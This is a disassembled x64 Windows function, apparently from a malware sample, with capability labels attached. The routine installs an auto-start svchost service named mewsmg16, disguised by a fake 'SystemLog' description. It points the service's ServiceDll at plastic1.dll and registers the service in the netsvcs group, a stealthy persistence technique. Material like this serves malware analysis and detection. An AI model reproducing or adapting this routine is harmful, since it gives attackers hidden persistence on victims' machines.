Function at 0x140009780
Capabilities:
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x4a0
mov rax, qword [0x140010050]
xor rax, rsp
mov qword [rsp + 0x490], rax
xor edi, edi
lea rax, str._SystemRoot_System32_svchost.exe__k_netsvcs
lea r8, [0x14000d858]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 1
lea rdx, [0x14000d928]
mov r9d, 0xf01ff
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x10
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rbx, rax
test rax, rax
je 0x140009a03
lea rax, str.Manages_the_log_of_local_system_over_time.If_this_service_is_stopped_or_disabled__programs_using_SystemLog_services_will_not_function_properly.
lea r8, [rsp + 0x80]
mov edx, 1
mov rcx, rbx
mov qword [rsp + 0x80], rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [rsp + 0x90]
xor edx, edx
mov r8d, 0x400
mov dword [rsp + 0x78], 0x400
call fcn.140005970
lea r11, [rsp + 0x70]
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionSvchost
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x20], r11
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000991e
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x78]
lea rdx, [0x14000da98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x90]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rax, qword [0x14000dac0]
mov r11d, dword [rsp + 0x78]
mov qword [rsp + r11 + 0x8e], rax
mov rax, qword [0x14000dac8]
lea rdx, str.netsvcs
mov qword [rsp + r11 + 0x96], rax
mov ecx, dword [rsp + 0x78]
mov r9d, 7
lea eax, [rcx + 0x12]
mov byte [rsp + rcx + 0xa0], dil
mov byte [rsp + rcx + 0xa1], dil
mov rcx, qword [rsp + 0x70]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x90]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x40], rdi
lea rax, [rsp + 0x70]
lea rdx, str.SYSTEMCurrentControlSetServicesmewsmg16Parameters
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1400099fe
mov rcx, qword [rsp + 0x70]
lea rax, str._SystemRoot_System32plastic1.dll
lea rdx, str.ServiceDLL
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], 0x44
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
lea rax, [rsp + 0x7c]
lea rdx, str.ServiceDllUnloadOnStop
mov r9d, 4
xor r8d, r8d
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x7c], 1
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rcx, [0x14000dc00]
mov dword [rsp + 0x28], 0x16
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x70]
lea rdx, str.ServiceMain
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.140001010
mov rbx, qword [rsp + 0x4b8]
add rsp, 0x4a0
pop rdi
ret